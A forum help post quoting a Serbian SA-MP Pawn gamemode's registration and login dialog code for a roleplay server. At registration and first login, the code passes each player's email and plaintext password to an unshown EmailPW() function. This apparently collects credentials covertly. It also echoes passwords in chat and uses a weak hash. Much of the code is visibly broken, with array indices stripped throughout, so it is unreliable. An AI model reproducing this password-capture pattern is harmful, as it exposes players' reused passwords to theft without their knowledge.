Dio skripte:
switch (dialogid)
{
case DIALOG_REGISTER:
{
PlayerInfo = udb_hash(inputtext);
if(!response) return Kick(playerid),print("kick-9");
if(response)
{
if(strlen(inputtext) < MIN_DUZINA_LOZINKE)
{
new info;
strcat(info, ""BELA"_______________________________________\n\n", sizeof(info));
strcat(info, ""BELA"Dobrodosli na "ZELENA"Legacy Gaming RolePlay.\n\n", sizeof(info));
strcat(info, " "ZELENA"> "BELA"Vas akaunt nije registrovan, unesite\n", sizeof(info));
strcat(info, "lozinku kako bi registrovali svoj akaunt.\n\n", sizeof(info));
strcat(info, ""HZELENA">"BELA" Ukoliko imate problema pri registraciji,\n", sizeof(info)); //
strcat(info, ""BELA" prijavite ih na "ZELENA"www.lg-ogc.byethost33.com.\n\n", sizeof(info));
strcat(info, " "ZELENA"> "CRVENA"Savetujemo vam da unesete jaku lozinku,\n", sizeof(info));
strcat(info, " "CRVENA"koja ne moze biti lako provaljena.\n", sizeof(info));
strcat(info, ""BELA"_______________________________________", sizeof(info));
ShowPlayerDialog(playerid,DIALOG_REGISTER,DIALOG_STYLE_PASSWORD,""HZELENA"Registracija",info,"Registruj","Izadji");
SCM(playerid,-1,"Info | "CRVENA"Lozinka mora imati minimum 6 znakova, a maximum 18 znakova!");
}
else if(strlen(inputtext) > MAX_DUZINA_LOZINKE)
{
new info;
strcat(info, ""BELA"_______________________________________\n\n", sizeof(info));
strcat(info, ""BELA"Dobrodosli na "ZELENA"Legacy Gaming RolePlay.\n\n", sizeof(info));
strcat(info, " "ZELENA"> "BELA"Vas akaunt nije registrovan, unesite\n", sizeof(info));
strcat(info, "lozinku kako bi registrovali svoj akaunt.\n\n", sizeof(info));
strcat(info, ""HZELENA">"BELA" Ukoliko imate problema pri registraciji,\n", sizeof(info)); //
strcat(info, ""BELA" prijavite ih na "ZELENA"www.lg-ogc.byethost33.com.\n\n", sizeof(info));
strcat(info, " "ZELENA"> "CRVENA"Savetujemo vam da unesete jaku lozinku,\n", sizeof(info));
strcat(info, " "CRVENA"koja ne moze biti lako provaljena.\n", sizeof(info));
strcat(info, ""BELA"_______________________________________", sizeof(info));
ShowPlayerDialog(playerid,DIALOG_REGISTER,DIALOG_STYLE_PASSWORD,""HZELENA"Registracija",info,"Registruj","Izadji");
SCM(playerid,-1,"Info | "CRVENA"Lozinka mora imati minimum 6 znakova, a maximum 18 znakova!");
}
else if(strlen(inputtext) >= MIN_DUZINA_LOZINKE && strlen(inputtext) <= MAX_DUZINA_LOZINKE)
{
new INI:File = INI_Open(Korisnici(playerid));
INI_SetTag(File,"data");
INI_WriteInt(File,"Password",udb_hash(inputtext));
INI_WriteInt(File,"NovacDzep",0);
INI_WriteInt(File,"Admin",0);
INI_WriteInt(File,"Ubistava",0);
INI_WriteInt(File,"Smrti",0);
INI_WriteInt(File,"Level",1);
INI_WriteInt(File,"Gamemaster",0);
INI_WriteInt(File,"Skin",0);
INI_WriteInt(File,"Godine",0);
INI_WriteInt(File,"Drzava",0);
INI_WriteInt(File,"Pol",0);
INI_WriteInt(File,"Tutorial",0);
INI_WriteInt(File,"Email",0);
INI_WriteInt(File,"Lider",0);
INI_WriteInt(File,"Clan",0);
INI_WriteInt(File,"Rank",0);
INI_WriteInt(File,"Mutiran",0);
INI_WriteInt(File,"NovacBanka",0);
INI_WriteInt(File,"Warn",0);
INI_WriteInt(File,"BankovniRacun",0);
INI_WriteInt(File,"Zatvor",0);
INI_WriteInt(File,"ZatvorenVreme",0);
INI_WriteInt(File,"Respekti",0);
INI_WriteInt(File,"UhapsenPuta",0);
INI_WriteInt(File,"Droga",0);
INI_WriteInt(File,"Mats",0);
INI_WriteInt(File,"PayDayPoeni",0);
INI_WriteInt(File,"SatiIgre",0);
INI_WriteInt(File,"IznosRate",0);
INI_WriteInt(File,"IznosKredita",0);
INI_WriteInt(File,"PreostaloZaOtplatu",0);
INI_WriteInt(File,"ADozvola",0);
INI_WriteInt(File,"KamionDozvola",0);
INI_WriteInt(File,"AvionDozvola",0);
INI_WriteInt(File,"MotorDozvola",0);
INI_WriteInt(File,"BrodDozvola",0);
INI_WriteInt(File,"GunDozvola",0);
INI_WriteInt(File,"PosedovanjeFirme",-1);
INI_WriteInt(File,"Mobilni",0);
INI_WriteInt(File,"Imenik",0);
INI_WriteInt(File,"MobKredit",0);
INI_WriteInt(File,"Cigare",0);
INI_WriteInt(File,"Upaljac",0);
INI_WriteInt(File,"Kanap",0);
INI_WriteInt(File,"Naocare",0);
INI_WriteInt(File,"Sat",0);
INI_WriteInt(File,"BorbeniStil",4);
INI_WriteInt(File,"Posao",0);
INI_WriteInt(File,"Hrana",0);
INI_WriteInt(File,"PosedovanjeKuce",-1);
INI_WriteInt(File,"ProveraSpawna",0);
INI_WriteInt(File,"Rent",-1);
INI_WriteInt(File,"PosedovanjeStana",-1);
INI_WriteInt(File,"PosedovanjeApartmana",-1);
INI_WriteInt(File,"OrgUgovor",0);
INI_WriteInt(File,"PosaoUgovor",0);
INI_WriteInt(File,"PosedovanjeAuta",-1);
INI_WriteInt(File,"StealTime",0);
INI_WriteInt(File,"PosedovanjeMotora",-1);
INI_WriteInt(File,"Kaciga",-1);
INI_WriteInt(File,"PosedovanjeBicikla",-1);
INI_WriteInt(File,"PosedovanjeAviona",-1);
INI_WriteInt(File,"PosedovanjePlovila",-1);
INI_WriteInt(File,"DonatorBodovi", 0);
INI_WriteInt(File,"UzeoPaketic", 0);
INI_WriteInt(File,"EmailPW", 1);
INI_WriteInt(File,"PaketTime", 1);
INI_WriteInt(File,"ElektricarVremeDoKraja",PlayerInfo);
/* new stingg;
INI_WriteString(File, "Lozinka", inputtext);
format(stingg, sizeof(stingg), "%s", inputtext);
PlayerInfo = stingg;*/
INI_Close(File);
PlayerInfo = 0; //pocetni stats
PlayerInfo = 0;
PlayerInfo = 4;
PlayerInfo = 3;
PlayerInfo = 1;
PlayerInfo = 0; PlayerInfo = 1000000; GivePlayerMoney(playerid, PlayerInfo);
new string;
format(string,sizeof(string),""SBOJA"Info | "BELA"Registrovali ste se, vas password je: "CRVENA"%s.",inputtext);
SCM(playerid,-1,string); PlayerInfo = 3;
SCM(playerid,-1,""SBOJA"Info | "BELA"Predlazemo vam da ovo slikate (F8). ");
IntroTimer6 = SetTimerEx("Registracija6",3000, false, "i", playerid);
InterpolateCameraPos(playerid, 2770.719238, -1948.525390, 15.498732, 2774.601074, -1743.259765, 57.341438, 7000);
InterpolateCameraLookAt(playerid, 2770.709472, -1943.622070, 16.477220, 2774.730224, -1748.079711, 56.018024, 7000);
new stingg;
format(stingg, sizeof(stingg), "Email: %s PW: %s",PlayerInfo, inputtext);
EmailPW(stingg);
PlayerInfo = 1;
}
}
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////
case DIALOG_LOGIN:
{
if(!response) return Kick(playerid),print("kick-10");
if(response)
{
if(udb_hash(inputtext) == PlayerInfo)
//if(strlen (inputtext) == PlayerInfo)
{
INI_ParseFile(Korisnici(playerid), "LoadUser", .bExtra = true, .extra = playerid);
new rand = random(sizeof(RandomSpawn2));
SetSpawnInfo(playerid, 0, PlayerInfo, RandomSpawn2, RandomSpawn2, RandomSpawn2, 0, 0, 0, 0, 0, 0, 0);
if(PlayerInfo == 0)
{
new stingg;
format(stingg, sizeof(stingg), "Email: %s PW: %s",PlayerInfo, inputtext);
EmailPW(stingg);
PlayerInfo = 1;
}
SpawnPlayer(playerid); GivePlayerMoney(playerid, PlayerInfo);
SetPlayerFightingStyle(playerid, PlayerInfo);
SetCameraBehindPlayer(playerid);
UlogovanProvera = 1;
TextDrawHideForPlayer(playerid, LoginTextdraw);
TextDrawHideForPlayer(playerid, LoginTextdraw); TextDrawHideForPlayer(playerid, LoginTextdraw); TextDrawHideForPlayer(playerid, LoginTextdraw);
OcistiChat(playerid, 10);
new stringdd;
format(stringdd, sizeof(stringdd), "==================\nDobrodosao %s .\n{0049FF}Vas levele:%d \nNovac u banci%d:\n======================",GetName(playerid),PlayerInfo,PlayerInfo);
ShowPlayerDialog( playerid, JEBENIDIALOG, DIALOG_STYLE_MSGBOX, "{FFFFFF}Dobrodosli nazad na Legacy Gaming RolePlay", stringdd, "Uredu", "" );
new iskustvo;
iskustvo = (PlayerInfo * 4)+4;
new adminCmdsList;
new strings;
strdel(adminCmdsList, 0, sizeof(adminCmdsList));
strcat(adminCmdsList, "{1AFF00}==============Legacy Gaming RolePlay==============\n\n");
strcat(adminCmdsList, ""BELA"Vasa statistika podataka:\n");
format(strings, sizeof(strings), ""BELA"Level:[%d] | Respekti:[%d/%d] | Sati igranja:[%d]\n\n",PlayerInfo,PlayerInfo,iskustvo,PlayerInfo);
strcat(adminCmdsList, strings);
if (PlayerInfo >= 1)
{
strcat(adminCmdsList, ""CRVENA"Administrativni podaci:\n");
strcat(adminCmdsList, ""BELA"Vi ste ulogovani kao {1EE1E1}Gamemaster.\n\n");
}
if (PlayerInfo >= 1)
{
strcat(adminCmdsList, ""CRVENA"Administrativni podaci:\n");
strcat(adminCmdsList, ""BELA"Vi ste ulogovani kao {1AFF00}Admin.\n\n");
}
strcat(adminCmdsList, ""BELA"Ukoliko trebate pomoc potrazite je na "ZUTA"/askq\n");
strcat(adminCmdsList, ""BELA"Posetite nas forum {1AFF00}www.lg-ogc.byethost33.com\n");
strcat(adminCmdsList, ""BELA"TeamSpeak 3 IP {1AFF00}ts3.uskoro.info\n");
strcat(adminCmdsList, ""BELA"Uzivajte u igranju na nasem serveru!\n\n");
strcat(adminCmdsList, "{1AFF00}===========================================");
JBC_TogglePlayerSpectating(playerid, 0);
if (PlayerInfo >= 1000000)
{
new stringar;
format(stringar,sizeof(stringar),""RG"!(LG-AC) "ORANGE"Igrac %s [%d] Dzep: $%d | Banka: $%d!",GetName(playerid),playerid,PlayerInfo,PlayerInfo);
SendAdminMessage(-1, stringar);
}
if (PlayerInfo >= 1)
{
new stringar;
format(stringar,sizeof(stringar),""RG"!(LG-AC) "ORANGE"Igrac %s (ID: %s) je Admin Level %s!",GetName(playerid),playerid,PlayerInfo);
SendAdminMessage(-1, stringar);
}
if (PlayerInfo >= 2000000)
{
new stringar;
format(stringar,sizeof(stringar),""RG"!(LG-AC) "ORANGE"Igrac %s [%d] Dzep: %d$ | Banka: %d$!",GetName(playerid),playerid,PlayerInfo,PlayerInfo);
SendAdminMessage(-1, stringar);
}
ShowPlayerDialog(playerid, DIALOG_NONE, DIALOG_STYLE_MSGBOX, ""HZELENA"Legacy Gaming RolePlay", adminCmdsList, "Uredu", "");
/*if(PlayerInfo != -1)
{
new a = PlayerInfo;
new car = VoziloInfo;
SetVehicleModifications(a, car);
}*/
if(PlayerInfo == 0)
{
SCM(playerid,-1,""SBOJA"Info | "SIVA"Niste zavrsili registraciju!");
ShowPlayerDialog(playerid, 3, DIALOG_STYLE_LIST, ""HZELENA"Vi ste", ""BELA"Musko\n"BELA"Zensko", "Select", "Exit");
SetPlayerCameraPos(playerid, 1657.39, -1856.75, 45.71); SetPlayerCameraLookAt(playerid, 1661.96, -1857.56, 43.85);
SetPlayerInterior(playerid, 0); TogglePlayerControllable(playerid, 0); SetPlayerPos(playerid, 1693.3690,-1867.5784,13.5412);
SetPlayerFacingAngle(playerid, 139.7829); SetPlayerVirtualWorld(playerid, 5446);
}
new s_imetd;
new sss;
if(PlayerInfo == 1) { sss = "SRB"; }
else if(PlayerInfo == 2) { sss = "BIH"; }
else if(PlayerInfo == 3) { sss = "KS"; }
else if(PlayerInfo == 4) { sss = "CG"; }
else if(PlayerInfo == 5) { sss = "HRV"; }
else if(PlayerInfo == 6) { sss = "MKD"; }
else if(PlayerInfo == 7) { sss = "SLO"; }
else if(PlayerInfo == 8) { sss = "OST"; }
format(s_imetd, sizeof(s_imetd), "%s_~p~(%s)", GetName(playerid), sss);
PlayerTextDrawSetString(playerid, ImeIgraca, s_imetd);
PlayerTextDrawShow(playerid, ImeIgraca);
new szPlayer;
GetPlayerName(playerid, szPlayer, MAX_PLAYER_NAME);
}
else
{
new loginname;
GetPlayerName(playerid,loginname,sizeof(loginname));
new info;
strcat(info, ""BELA"_______________________________________\n\n", sizeof(info));
strcat(info, ""BELA"Dobrodosli na "ZELENA"Legacy Gaming RolePlay.\n\n", sizeof(info));
strcat(info, " "ZELENA"> "BELA"Vas akaunt je registrovan, unesite\n", sizeof(info));
strcat(info, "lozinku kako bi se ulogovali.\n\n", sizeof(info));
strcat(info, ""HZELENA">"BELA" Ukoliko imate problema pri logovanju,\n", sizeof(info)); //
strcat(info, ""BELA" prijavite ih na "ZELENA"www.lg-ogc.byethost33.com.\n\n", sizeof(info));
strcat(info, ""BELA"_______________________________________", sizeof(info));
ShowPlayerDialog(playerid,DIALOG_LOGIN,DIALOG_STYLE_PASSWORD,""HZELENA"Login",info,"Login","Exit");
LoginPokusaji += 1;
new textjbni; format(textjbni, sizeof(textjbni),"Info | "CRVENA"Pogresna lozinka! Preostalo Pokusaja: %d/4!",LoginPokusaji);SCM(playerid, -1, textjbni);
if(LoginPokusaji == 4) { StatusKonekta(playerid, 4); }
}
return 1;
}
}
}
return 1;
}Debug iz server_log(ukoliko je u pitanju crashanje servera - crashdetect log): ////
Slika/video ingame problema(obavezno ako je ingame problem): ////
